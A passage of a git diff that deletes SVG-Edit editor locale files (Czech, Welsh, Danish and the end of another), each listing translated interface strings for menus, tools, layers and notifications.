-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Seleccioneu predefinides:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.cs.js b/public/svg-edit/editor/locale/lang.cs.js
deleted file mode 100644
index e39f8627..00000000
--- a/public/svg-edit/editor/locale/lang.cs.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "cs",
-	dir : "ltr",
-	common: {
-		"ok": "Uložit",
-		"cancel": "Storno",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "šipka dolů", 
-		"key_up": "šipka nahoru", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Běží na"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Zobrazit/schovat více možností",
-		"palette_info": "Kliknutím změníte barvu výplně, kliknutím současně s klávesou shift změníte barvu čáry",
-		"zoom_level": "Změna přiblížení",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Změnit ID elementu",
-		"fill_color": "Změnit barvu výplně",
-		"stroke_color": "Změnit barvu čáry",
-		"stroke_style": "Změnit styl čáry",
-		"stroke_width": "Změnit šířku čáry",
-		"pos_x": "Změnit souřadnici X",
-		"pos_y": "Změnit souřadnici Y",
-		"linecap_butt": "Konec úsečky: přesný",
-		"linecap_round": "Konec úsečky: zaoblený",
-		"linecap_square": "Konec úsečky: s čtvercovým přesahem",
-		"linejoin_bevel": "Styl napojení úseček: zkosené",
-		"linejoin_miter": "Styl napojení úseček: ostré",
-		"linejoin_round": "Styl napojení úseček: oblé",
-		"angle": "Změnit úhel natočení",
-		"blur": "Změnit rozostření",
-		"opacity": "Změnit průhlednost objektů",
-		"circle_cx": "Změnit souřadnici X středu kružnice",
-		"circle_cy": "Změnit souřadnici Y středu kružnice",
-		"circle_r": "Změnit poloměr kružnice",
-		"ellipse_cx": "Změnit souřadnici X středu elipsy",
-		"ellipse_cy": "Změnit souřadnici Y středu elipsy",
-		"ellipse_rx": "Změnit poloměr X elipsy",
-		"ellipse_ry": "Změnit poloměr Y elipsy",
-		"line_x1": "Změnit počáteční souřadnici X úsečky",
-		"line_x2": "Změnit koncovou souřadnici X úsečky",
-		"line_y1": "Změnit počáteční souřadnici Y úsečky",
-		"line_y2": "Změnit koncovou souřadnici X úsečky",
-		"rect_height": "Změnit výšku obdélníku",
-		"rect_width": "Změnit šířku obdélníku",
-		"corner_radius": "Změnit zaoblení obdélníku",
-		"image_width": "Změnit šířku dokumentu",
-		"image_height": "Změnit výšku dokumentu",
-		"image_url": "Změnit adresu URL",
-		"node_x": "Změnit souřadnici X uzlu",
-		"node_y": "Změnit souřadnici Y uzlu",
-		"seg_type": "Změnit typ segmentu",
-		"straight_segments": "úsečka",
-		"curve_segments": "křivka",
-		"text_contents": "Změnit text",
-		"font_family": "Změnit font",
-		"font_size": "Změnit velikost písma",
-		"bold": "Tučně",
-		"italic": "Kurzíva"
-	},
-	tools: { 
-		"main_menu": "Hlavní menu",
-		"bkgnd_color_opac": "Změnit barvu a průhlednost pozadí",
-		"connector_no_arrow": "Bez šipky",
-		"fitToContent": "přizpůsobit obsahu",
-		"fit_to_all": "Přizpůsobit veškerému obsahu",
-		"fit_to_canvas": "Přizpůsobit stránce",
-		"fit_to_layer_content": "Přizpůsobit obsahu vrstvy",
-		"fit_to_sel": "Přizpůsobit výběru",
-		"align_relative_to": "Zarovnat relativně",
-		"relativeTo": "relatativně k:",
-		"stránce": "stránce",
-		"largest_object": "největšímu objektu",
-		"selected_objects": "zvoleným objektům",
-		"smallest_object": "nejmenšímu objektu",
-		"new_doc": "Nový dokument",
-		"open_doc": "Otevřít dokument",
-		"export_png": "Exportovat jako PNG",
-		"save_doc": "Uložit dokument",
-		"import_doc": "Importovat SVG",
-		"align_to_page": "Zarovnat element na stránku",
-		"align_bottom": "Zarovnat dolů",
-		"align_center": "Zarovnat nastřed",
-		"align_left": "Zarovnat doleva",
-		"align_middle": "Zarovnat nastřed",
-		"align_right": "Zarovnat doprava",
-		"align_top": "Zarovnat nahoru",
-		"mode_select": "Výběr a transformace objektů",
-		"mode_fhpath": "Kresba od ruky",
-		"mode_line": "Úsečka",
-		"mode_connect": "Spojit dva objekty",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Obdélník volnou rukou",
-		"mode_ellipse": "Elipsa",
-		"mode_circle": "Kružnice",
-		"mode_fhellipse": "Elipsa volnou rukou",
-		"mode_path": "Křivka",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Text",
-		"mode_image": "Obrázek",
-		"mode_zoom": "Přiblížení",
-		"mode_eyedropper": "Kapátko",
-		"no_embed": "POZOR: Obrázek nelze uložit s dokumentem. Bude zobrazován z adresáře, kde se nyní nachází.",
-		"undo": "Zpět",
-		"redo": "Znovu",
-		"tool_source": "Upravovat SVG kód",
-		"wireframe_mode": "Zobrazit jen kostru",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Seskupit objekty",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Objekt na křivku",
-		"reorient_path": "Změna orientace křivky",
-		"ungroup": "Zrušit seskupení",
-		"docprops": "Vlastnosti dokumentu",
-		"imagelib": "Image Library",
-		"move_bottom": "Vrstvu úplně dospodu",
-		"move_top": "Vrstvu úplně nahoru",
-		"node_clone": "Vložit nový uzel",
-		"node_delete": "Ostranit uzel",
-		"node_link": "Provázat ovládací body uzlu",
-		"add_subpath": "Přidat další součást křivky",
-		"openclose_path": "Otevřít/zavřít součást křivky",
-		"source_save": "Uložit",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Vrstva",
-		"layers": "Layers",
-		"del": "Odstranit vrstvu",
-		"move_down": "Přesunout vrstvu níž",
-		"new": "Přidat vrstvu",
-		"rename": "Přejmenovat vrstvu",
-		"move_up": "Přesunout vrstvu výš",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Přesunout objekty do:",
-		"move_selected": "Přesunout objekty do jiné vrstvy"
-	},
-	config: {
-		"image_props": "Vlastnosti dokumentu",
-		"doc_title": "Název",
-		"doc_dims": "Vlastní velikost",
-		"included_images": "Vložené obrázky",
-		"image_opt_embed": "Vkládat do dokumentu",
-		"image_opt_ref": "Jen odkazem",
-		"editor_prefs": "Nastavení editoru",
-		"icon_size": "Velikost ikon",
-		"language": "Jazyk",
-		"background": "Obrázek v pozadí editoru",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Pozor: obrázek v pozadí nebude uložen jako součást dokumentu.",
-		"icon_large": "velké",
-		"icon_medium": "střední",
-		"icon_small": "malé",
-		"icon_xlarge": "největší",
-		"select_predefined": "vybrat předdefinovaný:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Nevhodná hodnota",
-		"noContentToFitTo":"Vyberte oblast pro přizpůsobení",
-		"dupeLayerName":"Taková vrstva už bohužel existuje",
-		"enterUniqueLayerName":"Zadejte prosím jedinečné jméno pro vrstvu",
-		"enterNewLayerName":"Zadejte prosím jméno pro novou vrstvu",
-		"layerHasThatName":"Vrstva už se tak jmenuje",
-		"QmoveElemsToLayer":"Opravdu chcete přesunout vybrané objekty do vrstvy '%s'?",
-		"QwantToClear":"Opravdu chcete smazat současný dokument?\nHistorie změn bude také smazána.",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"Chyba v parsování zdrojového kódu SVG.\nChcete se vrátit k původnímu?",
-		"QignoreSourceChanges":"Opravdu chcete stornovat změny provedené v SVG kódu?",
-		"featNotSupported":"Tato vlastnost ještě není k dispozici",
-		"enterNewImgURL":"Vložte adresu URL, na které se nachází vkládaný obrázek",
-		"defsFailOnSave": "POZOR: Kvůli nedokonalosti Vašeho prohlížeče se mohou některé části dokumentu špatně vykreslovat (mohou chybět barevné přechody nebo některé objekty). Po uložení dokumentu by se ale vše mělo zobrazovat správně.",
-		"loadingImage":"Nahrávám obrázek ...",
-		"saveFromBrowser": "Použijte nabídku \"Uložit stránku jako ...\" ve Vašem prohlížeči pro uložení dokumentu do souboru %s.",
-		"noteTheseIssues": "Mohou se vyskytnout následující problémy: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.cy.js b/public/svg-edit/editor/locale/lang.cy.js
deleted file mode 100644
index 4808073b..00000000
--- a/public/svg-edit/editor/locale/lang.cy.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "cy",
-	dir : "ltr",
-	common: {
-		"ok": "Cadw",
-		"cancel": "Canslo",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Cliciwch yma i lenwi newid lliw, sifft-cliciwch i newid lliw strôc",
-		"zoom_level": "Newid lefel chwyddo",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Newid lliw llenwi",
-		"stroke_color": "Newid lliw strôc",
-		"stroke_style": "Newid arddull strôc diferyn",
-		"stroke_width": "Lled strôc Newid",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Ongl cylchdro Newid",
-		"blur": "Change gaussian blur value",
-		"opacity": "Newid dewis Didreiddiad eitem",
-		"circle_cx": "CX Newid cylch yn cydlynu",
-		"circle_cy": "Newid cylch&#39;s cy gydgysylltu",
-		"circle_r": "Newid radiws cylch yn",
-		"ellipse_cx": "Newid Ellipse yn CX gydgysylltu",
-		"ellipse_cy": "Newid Ellipse yn cydlynu cy",
-		"ellipse_rx": "Radiws Newid Ellipse&#39;s x",
-		"ellipse_ry": "Radiws Newid Ellipse yn y",
-		"line_x1": "Newid llinell yn cychwyn x gydgysylltu",
-		"line_x2": "Newid llinell yn diweddu x gydgysylltu",
-		"line_y1": "Newid llinell ar y cychwyn yn cydlynu",
-		"line_y2": "Newid llinell yn dod i ben y gydgysylltu",
-		"rect_height": "Uchder petryal Newid",
-		"rect_width": "Lled petryal Newid",
-		"corner_radius": "Newid Hirsgwâr Corner Radiws",
-		"image_width": "Lled delwedd Newid",
-		"image_height": "Uchder delwedd Newid",
-		"image_url": "Newid URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Cynnwys testun Newid",
-		"font_family": "Newid Font Teulu",
-		"font_size": "Newid Maint Ffont",
-		"bold": "Testun Bras",
-		"italic": "Italig Testun"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Newid lliw cefndir / Didreiddiad",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Ffit i Cynnwys",
-		"fit_to_all": "Yn addas i bawb content",
-		"fit_to_canvas": "Ffit i ofyn",
-		"fit_to_layer_content": "Ffit cynnwys haen i",
-		"fit_to_sel": "Yn addas at ddewis",
-		"align_relative_to": "Alinio perthynas i ...",
-		"relativeTo": "cymharol i:",
-		"tudalen": "tudalen",
-		"largest_object": "gwrthrych mwyaf",
-		"selected_objects": "gwrthrychau etholedig",
-		"smallest_object": "lleiaf gwrthrych",
-		"new_doc": "Newydd Delwedd",
-		"open_doc": "Delwedd Agored",
-		"export_png": "Export as PNG",
-		"save_doc": "Cadw Delwedd",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Alinio Gwaelod",
-		"align_center": "Alinio Center",
-		"align_left": "Alinio Chwith",
-		"align_middle": "Alinio Canol",
-		"align_right": "Alinio Hawl",
-		"align_top": "Alinio Top",
-		"mode_select": "Dewiswch Offer",
-		"mode_fhpath": "Teclyn pensil",
-		"mode_line": "Llinell Offer",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Hand rhad ac am ddim Hirsgwâr",
-		"mode_ellipse": "Ellipse",
-		"mode_circle": "Cylch",
-		"mode_fhellipse": "Rhad ac am ddim Hand Ellipse",
-		"mode_path": "Offer poly",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Testun Offer",
-		"mode_image": "Offer Delwedd",
-		"mode_zoom": "Offer Chwyddo",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Dadwneud",
-		"redo": "Ail-wneud",
-		"tool_source": "Golygu Ffynhonnell",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Elfennau Grŵp",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Elfennau Ungroup",
-		"docprops": "Document Eiddo",
-		"imagelib": "Image Library",
-		"move_bottom": "Symud i&#39;r Gwaelod",
-		"move_top": "Symud i&#39;r Top",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Cadw",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Dileu Haen",
-		"move_down": "Symud Haen i Lawr",
-		"new": "Haen Newydd",
-		"rename": "Ail-enwi Haen",
-		"move_up": "Symud Haen Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Rhagosodol Dewis:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.da.js b/public/svg-edit/editor/locale/lang.da.js
deleted file mode 100644
index ae209cde..00000000
--- a/public/svg-edit/editor/locale/lang.da.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "da",
-	dir : "ltr",
-	common: {
-		"ok": "Gemme",
-		"cancel": "Annuller",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Klik for at ændre fyldfarve, shift-klik for at ændre stregfarve",
-		"zoom_level": "Skift zoomniveau",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Skift fyldfarve",
-		"stroke_color": "Skift stregfarve",
-		"stroke_style": "Skift slagtilfælde Dash stil",
-		"stroke_width": "Skift slagtilfælde bredde",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Skift rotationsvinkel",
-		"blur": "Change gaussian blur value",
-		"opacity": "Skift valgte element opacitet",
-		"circle_cx": "Skift cirklens cx koordinere",
-		"circle_cy": "Skift cirklens cy koordinere",
-		"circle_r": "Skift cirklens radius",
-		"ellipse_cx": "Skift ellipse&#39;s cx koordinere",
-		"ellipse_cy": "Skift ellipse&#39;s cy koordinere",
-		"ellipse_rx": "Skift ellipse&#39;s x radius",
-		"ellipse_ry": "Skift ellipse&#39;s y radius",
-		"line_x1": "Skift linie&#39;s start x-koordinat",
-		"line_x2": "Skift Line&#39;s slutter x-koordinat",
-		"line_y1": "Skift linjens start y-koordinat",
-		"line_y2": "Skift Line&#39;s slutter y-koordinat",
-		"rect_height": "Skift rektangel højde",
-		"rect_width": "Skift rektanglets bredde",
-		"corner_radius": "Skift Rektangel Corner Radius",
-		"image_width": "Skift billede bredde",
-		"image_height": "Skift billede højde",
-		"image_url": "Skift webadresse",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Skift tekst indhold",
-		"font_family": "Skift Font Family",
-		"font_size": "Skift skriftstørrelse",
-		"bold": "Fed tekst",
-		"italic": "Italic Text"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Skift baggrundsfarve / uigennemsigtighed",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Tilpas til indhold",
-		"fit_to_all": "Passer til alt indhold",
-		"fit_to_canvas": "Tilpas til lærred",
-		"fit_to_layer_content": "Tilpas til lag indhold",
-		"fit_to_sel": "Tilpas til udvælgelse",
-		"align_relative_to": "Juster i forhold til ...",
-		"relativeTo": "i forhold til:",
-		"side": "side",
-		"largest_object": "største objekt",
-		"selected_objects": "valgte objekter",
-		"smallest_object": "mindste objekt",
-		"new_doc": "Nyt billede",
-		"open_doc": "Open Image",
-		"export_png": "Export as PNG",
-		"save_doc": "Gem billede",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Juster Bottom",
-		"align_center": "Centrer",
-		"align_left": "Venstrejusteret",
-		"align_middle": "Juster Mellemøsten",
-		"align_right": "Højrejusteret",
-		"align_top": "Juster Top",
-		"mode_select": "Select Tool",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand Rektangel",
-		"mode_ellipse": "Ellipse",
-		"mode_circle": "Cirkel",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Tekstværktøj",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Fortryd",
-		"redo": "Redo",
-		"tool_source": "Edit Source",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Gruppe Elements",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Opdel Elements",
-		"docprops": "Document Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Flyt til bund",
-		"move_top": "Flyt til toppen",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Gemme",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Slet Layer",
-		"move_down": "Flyt lag ned",
-		"new": "New Layer",
-		"rename": "Omdøb Layer",
-		"move_up": "Flyt Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Vælg foruddefinerede:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
